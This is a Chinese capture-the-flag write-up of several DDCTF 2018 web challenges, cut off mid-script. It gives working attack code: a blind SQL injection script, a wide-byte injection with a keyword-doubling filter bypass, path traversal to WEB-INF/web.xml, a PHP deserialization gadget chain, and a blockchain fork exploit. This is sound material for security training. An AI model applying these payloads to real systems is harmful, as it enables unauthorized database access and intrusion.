1.数据库的秘密
访问链接:http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php
加一个X-Forwarded-For:123.232.23.245
测试了下,看到的三个参数都是被过滤了的 暂时找不到注入点,翻一下源码
发现author被隐藏了,极有可能是注入点,被隐藏了不好测试,不要慌burpsuite可以帮到我们,在Proxy->Options中做如下操作:
我们可以看到多出来一个测试框,这个框对应的便是author参数,输入admin' and 1#
发现返回正确,足以确定是注入点,进行测试发现 出现union select 一起便会被狗拦截,看来只好用盲注了。再仔细看请求url,
http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php?sig=748581f83d9e830cc8c0eaffa16d15ea3f347af6&time=1528767547
会发现多了一个sig和time参数,这应该是由js生成的,找一下代码有个math.js和main.js
果然在代码最后可以发现time和sign的生成,并将代码改为如上图所示。就可以用execjs在python执行js代码算出time和sign加到url中,最后附上python代码
# -*- coding:utf-8 -*- #written by python3.5 import requests import execjs tryStr = "DCTFQWERYUIOPASGHJKLZXVBN{}_qwertyuiopasdfghjklzxcvbnm1234567890_@-M" headers = { "x-forwarded-for": "123.232.23.245", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" } def tryFlag(source, payload): data = "" truePayload = "test' && if(ascii(substr(({query}), {strOffset},1)) = {aStr},1,0)#" for i in range(1, 40): index = 0 while index <= len(tryStr): try: j = tryStr[index] strQuery = truePayload.format( query=payload.format(spos=0), strOffset=i, aStr=str(ord(j))) obj = source.eval('obj') obj['author'] = strQuery print(obj) getStr = source.call("submitt", strQuery) url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/" url += getStr req = requests.post(url, data=obj, headers=headers) # print(req.text) if "time error" in req.text: index -= 1 if "sig error" in req.text: index -= 1 if "test" in req.text: data += j print("data: " + data) break if j == 'M' and "test" not in req.text: print(data) return index += 1 except Exception: pass def main(): payload1 = "select schema_name from information_schema.schemata limit {spos},1" payload2 = "select table_name from information_schema.tables where table_schema =0x6464637466 limit {spos},1" payload3 = "select column_name from information_schema.columns where table_name=0x6374665f6b657931 limit {spos},1" payload4 = "select secvalue from ctf_key1 limit {spos},1" with open("web1.js", "r") as f: source = f.read() source = execjs.compile(source) tryFlag(source, payload4) if __name__ == '__main__': main()
2.专属链接
访问:http://116.85.48.102:5050/welcom/8acb825dsc139s4f1bsb16es14f7875f8f23 ,页面并没有什么值得注意对的地方,查看源码,发现以下几个可疑的地方:
第一:邮箱:[email protected]
第二:奇怪的base64字符串:ZmF2aWNvbi5pY28= 解码后:favicon.ico
第三:提示:<!--/flag/testflag/yourflag-->
我们先访问第二那个href,在里面发现这句话:you can only download .class .xml .ico .ks files,可以下载.class .xml等文件,那要怎么下载呢?目前还不知道,继续利用第三个提示。输入:如下图所示
很明显是个java写的后台,里面的错误信息爆出了一些类文件,最主要的是蓝色部分的flag控制文件,结合前面的可以下载.class 文件,思路便很晰: 我们需要下载关于flag的相关.class文件,但我们还不知道有哪些文件、和文件的目录啊。不要慌(两种方法),一些老手看到这里便会轻易的知道一种文件泄露方式:
WEB-IN
第二种方法:专属链接??访问:http://116.85.48.102:5050/login,可以看到这样一个平台,通过在github上搜索源码,可以找到源码,从而拿到文件
配置我们先尝试访问下配置文件:WEB-INF/web.xml,在第二个提示中修改base64编码字符串为WEB-INF/web.xml试一试,发现没有东西,那有可能是嵌套了目录的试一试../WEB-INF/web.xml和../../WEB-INF/web.xml:在../../WEB-INF/web.xml发现配置信息
分别将applicationContext.xml、上面蓝色部分的源码、com.didichuxing.ctf.listener.InitListener(../../WEB-IBF/classes/****)下载,将后两者者通过jd-gui进行反编译:
INITListener:
正好最近在学JAVA,大致看得懂代码:
- 导入emails.txt(即提示一的那串字符串)
- 消息认证算法HmacSha256和私钥“sdl welcome you”对email进行加密
- 将加密后的email发送到/getflag/{email:xxx},会返回一个加了密的flag
- 由于flag是用的RSA算法和sdl.k生成的私钥经行加密(一般来说,公钥是用来加密的,私钥用来解密的,在加解密文件时而在进行认证时,如:ssh 登陆服务器时用的时私钥加密,将加密后的字符串发向服务器,服务器用公钥进行验证,如果成功,则登陆成功),所以我们需要用公钥对其进行验证,验证后的结果便是flag
对email进行加密的代码(也可以通过网站:http://tool.oschina.net/encrypt 进行HmacSHA256加密):
package caclEmail; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import javax.crypto.Mac; import javax.crypto.spec.SecretKeySpec; public class CalcEmail { public static void main(String[] args) throws NoSuchAlgorithmException, InvalidKeyException{ String email = "[email protected]"; SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256"); Mac mac = Mac.getInstance("HmacSHA256"); mac.init(signingKey); byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes()); System.out.println(byte2hex(e)); } public static String byte2hex(byte[] b) { StringBuilder hs = new StringBuilder(); for (int n = 0; (b != null) && (n < b.length); n++) { String stmp = Integer.toHexString(b[n] & 0xFF); if (stmp.length() == 1) { hs.append('0'); } hs.append(stmp); } return hs.toString().toUpperCase(); } }
获得加密后的字符串,在进行flag的解密:
package decode; import java.io.FileInputStream; import java.io.IOException; import java.security.InvalidKeyException; import java.security.Key; import java.security.KeyStore; import java.security.KeyStoreException; import java.security.NoSuchAlgorithmException; import java.security.UnrecoverableKeyException; import java.security.cert.CertificateException; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; public class Decode { public static void main(String[] args) throws KeyStoreException, NoSuchAlgorithmException, CertificateException, IOException, UnrecoverableKeyException, NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException { String ksPath = "C:\\Users\\ycb\\Desktop\\DDCTF文件2018\\web2\\sdl.ks"; String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", ""); String encodeFlag = "019312D7231329ADEB986C6F994D7148B74AF9282B515F80F58A88BCE863F8848600CA69C4BE8F0D3BE3486B4FB7445C15169085F1DFE4D4B8439EF3472B50DE22D6E09BCCBC56542541D0C8F148B658005C2DD89202AEBF765998C2FA6AA197E5F6277587E78498F7E0A111429D3E1BEE2F4DD17224C0599FFA2FC1EE69B2521EEB96859EEB3D65DA88FED274739B208A81AF6280CF233B2064C6DB513AB9D53B010A456B8073C8C950E29034628C957108E7173390FBB4665229A6A9949188C8A5D43AE7CDB6244F082EF90EB3D2E126764CF90DE716A2150652AE3C13C0B457BD76E9BF1F9936AD85474CEDB23472039B5EC3387EF4FB5D5E3BD0FA681CDE"; KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType()); FileInputStream inputStream = new FileInputStream(ksPath); keyStore.load(inputStream, p.toCharArray()); Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray()); System.out.println(key.getAlgorithm()); Cipher cipher1 = Cipher.getInstance(key.getAlgorithm()); Key pubKey = keyStore.getCertificate("www.didichuxing.com").getPublicKey(); cipher1.init(Cipher.DECRYPT_MODE, pubKey); byte[] flag = cipher1.doFinal(hex2Byte(encodeFlag)); System.out.println(new String(flag)); } /*public static String byte2Hex(byte[] b) { StringBuilder hs = new StringBuilder(); for (int n = 0; (b != null) && (n < b.length); n++) { String stmp = Integer.toHexString(b[n] & 0xFF); if (stmp.length() == 1) hs.append('0'); hs.append(stmp); } return hs.toString().toUpperCase(); } */ public static byte[] hex2Byte(String hexString) { if(hexString == null || hexString.equals("")) return null; hexString = hexString.toUpperCase(); int length = hexString.length() / 2; byte[] d = new byte[length]; int i; for(i = 0; i < length; i++) { int pos = i * 2; d[i] = (byte)(strToByte(hexString.charAt(pos)) << 4 | strToByte(hexString.charAt(pos+1))); } return d; } public static byte strToByte(char c) { return (byte) "0123456789ABCDEF".indexOf(c); } }
得出答案:DDCTF{5218295657878818503}
3.注入的奥妙
访问:http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1
试一试在1后面添加个单引号,有过滤,先查看下源码
在源码中找到这样一段提示,访问,发现是big5编码,网上一搜发现是宽字节注入,寻找以5c结尾的汉字:苒
进行测试:发现会过滤union、select等关键字,试一试uniunionon 发现可以绕过,证明其waf写法应该是将关键字替换为空
得到如下信息:访问static/bootstrap/css/backup.css可以拿到源码备份,再通过post提交到/justtry/try便可拿到flag
看关键代码,很明显是个反序列化漏洞
<?php // Controller/Justtry.php public function try($serialize) { unserialize(urldecode($serialize), ["allowed_classes" => ["IndexHelperFlag", "IndexHelperSQL","IndexHelperTest"]]); } // Helper/Test.php class Test { public $user_uuid; public $fl; public function __destruct() { $this->getflag('ctfuser', $this->user_uuid); } public function getflag($m = 'ctfuser', $u = 'default') { //TODO: check username $user=array( 'name' => $m, 'id' => $u ); //懒了直接输出给你们了 echo 'DDCTF{'.$this->fl->get($user).'}'; } } // Helper/Flag.php class Flag { public $sql; public function __construct() { $this->sql=new SQL(); } public function get($user) { $tmp=$this->sql->FlagGet($user); if ($tmp['status']===1) { return $this->sql->FlagGet($user)['flag']; } } } // Helper/SQL.php class SQL { public $dbc; public $pdo; } ?>
在unserialize结束后会自动调用__destruct()函数执行getflag()函数获得flag,而flag又是从FLAG类里面的__construct()函数里的SQL类获得,所以我们可以构造如下一个反序列漏洞利用脚本:
<?php namespace Index\Helper; class Test{ public $user_uuid; public $fl; } class Flag{ public $sql; } class SQL{ public $dbc; public $pdo; } $a = new Test(); $a->user_uuid = "4128462f-89bf-4542-b54f-e7335137041f"; $a->fl = new Flag(); $a->fl->sql = new SQL(); echo serialize($a); echo "\n"; echo urlencode(serialize($a)); echo "\n"; ?>
这里需要注意的是入口中允许序列化的名字即Index\Helper\Test等,最后再提交序列化后的字符串:
4.mini blockchain
# -*- encoding: utf-8 -*- # written in python 2.7 __author__ = 'garzon' import hashlib import json import rsa import uuid import os from flask import Flask, session, redirect, url_for, escape, request app = Flask(__name__) app.secret_key = '*********************' url_prefix = '/b9ca5f959dd7e' def FLAG(): return 'Here is your flag: DDCTF{******************}' def hash(x): return hashlib.sha256(hashlib.md5(x).digest()).hexdigest() def hash_reducer(x, y): return hash(hash(x) + hash(y)) def has_attrs(d, attrs): if type(d) != type({}): raise Exception("Input should be a dict/JSON") for attr in attrs: if attr not in d: raise Exception("{} should be presented in the input".format(attr)) EMPTY_HASH = '0' * 64 def addr_to_pubkey(address): return rsa.PublicKey(int(address, 16), 65537) def pubkey_to_address(pubkey): assert pubkey.e == 65537 hexed = hex(pubkey.n) if hexed.endswith('L'): hexed = hexed[:-1] if hexed.startswith('0x'): hexed = hexed[2:] return hexed def gen_addr_key_pair(): pubkey, privkey = rsa.newkeys(384) return pubkey_to_address(pubkey), privkey bank_address, bank_privkey = gen_addr_key_pair() hacker_address, hacker_privkey = gen_addr_key_pair() shop_address, shop_privkey = gen_addr_key_pair() shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair() def sign_input_utxo(input_utxo_id, privkey): return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex') def hash_utxo(utxo): return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])]) def create_output_utxo(addr_to, amount): utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount} utxo['hash'] = hash_utxo(utxo) return utxo def hash_tx(tx): return reduce(hash_reducer, [ reduce(hash_reducer, tx['input'], EMPTY_HASH), reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH) ]) def create_tx(input_utxo_ids, output_utxo, privkey_from=None): tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo( id, privkey_from) for id in input_utxo_ids], 'output': output_utxo} tx['hash'] = hash_tx(tx) return tx def hash_block(block): return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)]) def create_block(prev_block_hash, nonce_str, transactions): if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value') nonce = str(nonce_str) if len(nonce) > 128: raise Exception('the nonce is too long') block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions} block['hash'] = hash_block(block) return block def find_blockchain_tail(): return max(session['blocks'].values(), key=lambda block: block['height']) def calculate_utxo(blockchain_tail): curr_block = blockchain_tail blockchain = [curr_block] while curr_block['hash'] != session['genesis_block_hash']: curr_block = session['blocks'][curr_block['prev']] blockchain.append(curr_block) blockchain = blockchain[::-1] utxos = {} for block in blockchain: for tx in block['transactions']: for input_utxo_id in tx['input']: del utxos[input_utxo_id] for utxo in tx['output']: utxos[utxo['id']] = utxo return utxos def calculate_balance(utxos): balance = {bank_address: 0, hacker_address: 0, shop_address: 0} for utxo in utxos.values(): if utxo['addr'] not in balance: balance[utxo['addr']] = 0 balance[utxo['addr']] += utxo['amount'] return balance def verify_utxo_signature(address, utxo_id, signature): try: return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address)) except: return False def append_block(block, difficulty=int('f' * 64, 16)): has_attrs(block, ['prev', 'nonce', 'transactions']) if type(block['prev']) == type(u''): block['prev'] = str(block['prev']) if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce']) if block['prev'] not in session['blocks']: raise Exception("unknown parent block") tail = session['blocks'][block['prev']] utxos = calculate_utxo(tail) if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block') new_utxo_ids = set() for tx in block['transactions']: has_attrs(tx, ['input', 'output', 'signature']) for utxo in tx['output']: has_attrs(utxo, ['amount', 'addr', 'id']) if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id']) if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr']) if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo") if utxo['id'] in new_utxo_ids: raise Exception( "output utxo of same id({}) already exists.".format(utxo['id'])) new_utxo_ids.add(utxo['id']) if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo") if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo") if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo") try: addr_to_pubkey(utxo['addr']) except: raise Exception( "invalid type of address({})".format(utxo['addr'])) utxo['hash'] = hash_utxo(utxo) tot_output = sum([utxo['amount'] for utxo in tx['output']]) if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array") if type(tx['signature']) != type([]): raise Exception( "type of input utxo signatures in tx should be array") if len(tx['input']) != len(tx['signature']): raise Exception( "lengths of arrays of ids and signatures of input utxos should be the same") tot_input = 0 tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']] tx['signature'] = [str(i) if type(i) == type( u'') else i for i in tx['signature']] for utxo_id, signature in zip(tx['input'], tx['signature']): if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo") if utxo_id not in utxos: raise Exception( "invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id)) utxo = utxos[utxo_id] if type(signature) != type(''): raise Exception("unknown type of signature of input utxo") if not verify_utxo_signature(utxo['addr'], utxo_id, signature): raise Exception( "Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id)) tot_input += utxo['amount'] del utxos[utxo_id] if tot_output > tot_input: raise Exception( "You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output)) tx['hash'] = hash_tx(tx) block = create_block(block['prev'], block['nonce'], block['transactions']) block_hash = int(block['hash'], 16) if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work') block['height'] = tail['height'] + 1 if len(session['blocks']) > 50: raise Exception( 'The blockchain is too long. Use ./reset to reset the blockchain') if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain') session['blocks'][block['hash']] = block session.modified = True def init(): if 'blocks' not in session: session['blocks'] = {} session['your_diamonds'] = 0 # First, the bank issued some DDCoins ... total_currency_issued = create_output_utxo(bank_address, 1000000) # create DDCoins from nothing genesis_transaction = create_tx([], [total_currency_issued]) genesis_block = create_block( EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction]) session['genesis_block_hash'] = genesis_block['hash'] genesis_block['height'] = 0 session['blocks'][genesis_block['hash']] = genesis_block # Then, the bank was hacked by the hacker ... handout = create_output_utxo(hacker_address, 999999) reserved = create_output_utxo(bank_address, 1) transferred = create_tx([total_currency_issued['id']], [ handout, reserved], bank_privkey) second_block = create_block( genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred]) append_block(second_block) # Can you buy 2 diamonds using all DDCoins? third_block = create_block(second_block['hash'], 'a empty block', []) append_block(third_block) def get_balance_of_all(): init() tail = find_blockchain_tail() utxos = calculate_utxo(tail) return calculate_balance(utxos), utxos, tail @app.route(url_prefix + '/') def homepage(): announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. ' balance, utxos, _ = get_balance_of_all() genesis_block_info = 'hash of genesis block: ' + \ session['genesis_block_hash'] addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + \ hacker_address + ', the shop\'s addr: ' + shop_address balance_info = 'Balance of all addresses: ' + json.dumps(balance) utxo_info = 'All utxos: ' + json.dumps(utxos) blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks']) view_source_code_link = "<a href='source_code'>View source code</a>" return announcement + (' \r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info])) @app.route(url_prefix + '/flag') def getFlag(): init() if session['your_diamonds'] >= 2: return FLAG() return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address def find_enough_utxos(utxos, addr_from, amount): collected = [] for utxo in utxos.values(): if utxo['addr'] == addr_from: amount -= utxo['amount'] collected.append(utxo['id']) if amount <= 0: return collected, -amount raise Exception('no enough DDCoins in ' + addr_from) def transfer(utxos, addr_from, addr_to, amount, privkey): input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount) outputs = [create_output_utxo(addr_to, amount)] if the_change != 0: outputs.append(create_output_utxo(addr_from, the_change)) return create_tx(input_utxo_ids, outputs, privkey) @app.route(url_prefix + '/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>') def free_ddcoin(address): balance, utxos, tail = get_balance_of_all() if balance[bank_address] == 0: return 'The bank has no money now.' try: address = str(address) addr_to_pubkey(address) # to check if it is a valid address transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey) new_block = create_block( tail['hash'], 'b@cKd00R tr1993ReD', [transferred]) append_block(new_block) return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address except Exception, e: return 'ERROR: ' + str(e) DIFFICULTY = int('00000' + 'f' * 59, 16) @app.route(url_prefix + '/create_transaction', methods=['POST']) def create_tx_and_check_shop_balance(): init() try: block = json.loads(request.data) append_block(block, DIFFICULTY) msg = 'transaction finished.' except Exception, e: return str(e) balance, utxos, tail = get_balance_of_all() if balance[shop_address] == 1000000: # when 1000000 DDCoins are received, the shop will give you a diamond session['your_diamonds'] += 1 # and immediately the shop will store the money somewhere safe. transferred = transfer( utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey) new_block = create_block( tail['hash'], 'save the DDCoins in a cold wallet', [transferred]) append_block(new_block) msg += ' You receive a diamond.' return msg # if you mess up the blockchain, use this to reset the blockchain. @app.route(url_prefix + '/reset') def reset_blockchain(): if 'blocks' in session: del session['blocks'] if 'genesis_block_hash' in session: del session['genesis_block_hash'] return 'reset.' @app.route(url_prefix + '/source_code') def show_source_code(): source = open('serve.py', 'r') html = '' for line in source: html += line.replace('&', '&').replace('\t', ' ' * 4).replace( ' ', ' ').replace('<', '<').replace('>', '>').replace('\n', ' ') source.close() return html if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')
0x00前言
1.比特币基础
- 被掌控在发行机构手中;
- 自身的价值无法保证;
- 无法匿名化交易。
2.区块链
3.区块
- index: 区块在区块链中的位置;
- timestamp: 区块产生的时间;
- transactions: 区块包含的交易;
- previousHash: 前一个区块的Hash值;
- hash: 当前区块的Hash值;
- nonce:算力证明,(靠这个拿钱)
0x02题目分析
@app.route(url_prefix + '/') def homepage(): announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. ' balance, utxos, _ = get_balance_of_all() genesis_block_info = 'hash of genesis block: ' + \ session['genesis_block_hash'] addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + \ hacker_address + ', the shop\'s addr: ' + shop_address balance_info = 'Balance of all addresses: ' + json.dumps(balance) utxo_info = 'All utxos: ' + json.dumps(utxos) blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks']) view_source_code_link = "<a href='source_code'>View source code</a>" return announcement + (' \r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
def get_balance_of_all(): init() tail = find_blockchain_tail() utxos = calculate_utxo(tail) return calculate_balance(utxos), utxos, tail
跟踪init()
def init(): if 'blocks' not in session: session['blocks'] = {} session['your_diamonds'] = 0 # First, the bank issued some DDCoins ... total_currency_issued = create_output_utxo(bank_address, 1000000) # create DDCoins from nothing genesis_transaction = create_tx([], [total_currency_issued]) genesis_block = create_block( EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction]) session['genesis_block_hash'] = genesis_block['hash'] genesis_block['height'] = 0 session['blocks'][genesis_block['hash']] = genesis_block # Then, the bank was hacked by the hacker ... handout = create_output_utxo(hacker_address, 999999) reserved = create_output_utxo(bank_address, 1) transferred = create_tx([total_currency_issued['id']], [ handout, reserved], bank_privkey) second_block = create_block( genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred]) append_block(second_block) # Can you buy 2 diamonds using all DDCoins? third_block = create_block(second_block['hash'], 'a empty block', []) append_block(third_block)
def create_tx(input_utxo_ids, output_utxo, privkey_from=None): tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo( id, privkey_from) for id in input_utxo_ids], 'output': output_utxo} tx['hash'] = hash_tx(tx) return tx
生成每次交易transactions,再看append_block()
def append_block(block, difficulty=int('f' * 64, 16)): has_attrs(block, ['prev', 'nonce', 'transactions']) if type(block['prev']) == type(u''): block['prev'] = str(block['prev']) if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce']) if block['prev'] not in session['blocks']: raise Exception("unknown parent block") tail = session['blocks'][block['prev']] utxos = calculate_utxo(tail) if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block') new_utxo_ids = set() for tx in block['transactions']: has_attrs(tx, ['input', 'output', 'signature']) for utxo in tx['output']: has_attrs(utxo, ['amount', 'addr', 'id']) if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id']) if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr']) if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo") if utxo['id'] in new_utxo_ids: raise Exception( "output utxo of same id({}) already exists.".format(utxo['id'])) new_utxo_ids.add(utxo['id']) if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo") if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo") if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo") try: addr_to_pubkey(utxo['addr']) except: raise Exception( "invalid type of address({})".format(utxo['addr'])) utxo['hash'] = hash_utxo(utxo) tot_output = sum([utxo['amount'] for utxo in tx['output']]) if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array") if type(tx['signature']) != type([]): raise Exception( "type of input utxo signatures in tx should be array") if len(tx['input']) != len(tx['signature']): raise Exception( "lengths of arrays of ids and signatures of input utxos should be the same") tot_input = 0 tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']] tx['signature'] = [str(i) if type(i) == type( u'') else i for i in tx['signature']] for utxo_id, signature in zip(tx['input'], tx['signature']): if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo") if utxo_id not in utxos: raise Exception( "invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id)) utxo = utxos[utxo_id] if type(signature) != type(''): raise Exception("unknown type of signature of input utxo") if not verify_utxo_signature(utxo['addr'], utxo_id, signature): raise Exception( "Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id)) tot_input += utxo['amount'] del utxos[utxo_id] if tot_output > tot_input: raise Exception( "You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output)) tx['hash'] = hash_tx(tx) block = create_block(block['prev'], block['nonce'], block['transactions']) block_hash = int(block['hash'], 16) if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work') block['height'] = tail['height'] + 1 if len(session['blocks']) > 50: raise Exception( 'The blockchain is too long. Use ./reset to reset the blockchain') if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain') session['blocks'][block['hash']] = block session.modified = True
def burst(b, difficulty, msg=""): nonce = 0 while nonce < 2**32: b['nonce'] = msg + str(nonce) b['hash'] = hash_block(b) block_hash = int(b['hash'], 16) if block_hash < difficulty: return b nonce += 1
@app.route(url_prefix + '/create_transaction', methods=['POST']) def create_tx_and_check_shop_balance(): init() try: block = json.loads(request.data) append_block(block, DIFFICULTY) msg = 'transaction finished.' except Exception, e: return str(e) balance, utxos, tail = get_balance_of_all() if balance[shop_address] == 1000000: # when 1000000 DDCoins are received, the shop will give you a diamond session['your_diamonds'] += 1 # and immediately the shop will store the money somewhere safe. transferred = transfer( utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey) new_block = create_block( tail['hash'], 'save the DDCoins in a cold wallet', [transferred]) append_block(new_block) msg += ' You receive a diamond.' return msg
0x03 payload
# -*- coding:utf-8 -*- # written by python2.7 import hashlib import json import uuid import requests EMPTY_HASH = '0' * 64 DIFFICULTY = int('00000' + 'f' * 59, 16) # 以下四个常量填写自己的 GENESIS_BLOCK_HASH = "7cb4baca51b2502163d58cc34babf9b5b826f6b68246270ee399e742e42ad759" SHOP_ADDR = "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735" INPUT = "e2bbbda8-2880-4452-9a40-728248e773e0" SIGNATURE = "ae84bcbd023e98273af351dbf9da620bbda6a90de7e0d80dee473b2b9ffd0a4dc395b8b533fe5e79f1c5d1519c772a70" s = requests.Session() def hash(x): return hashlib.sha256(hashlib.md5(x).digest()).hexdigest() def hash_reducer(x, y): return hash(hash(x) + hash(y)) def hash_block(block): return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)]) def hash_utxo(utxo): return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])]) def hash_tx(tx): return reduce(hash_reducer, [ reduce(hash_reducer, tx['input'], EMPTY_HASH), reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH) ]) # 爆破区块 def burst(b, difficulty, msg=""): nonce = 0 while nonce < 2**32: b['nonce'] = msg + str(nonce) b['hash'] = hash_block(b) block_hash = int(b['hash'], 16) if block_hash < difficulty: return b nonce += 1 # 获得空区块 def emptyBlock(prevHash, msg): block = {} block['prev'] = prevHash block['transactions'] = [] return burst(block, DIFFICULTY, msg) # 获得transactions def getTrans(): utxo = {'id': str(uuid.uuid4()), 'addr': SHOP_ADDR, 'amount': 1000000} utxo['hash'] = hash_utxo(utxo) tx = {'input': [INPUT], 'signature': [SIGNATURE], 'output': [utxo]} tx['hash'] = hash_tx(tx) return [tx] def headers(session): headers = { "Host": "116.85.48.107:5000", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8", "Cookie": "session={}".format(session), "Connection": "close", "Content-Type": "application/json" } return headers def myprint(b): return json.dumps(b) def main(): # session 修改为自己的cookie session = 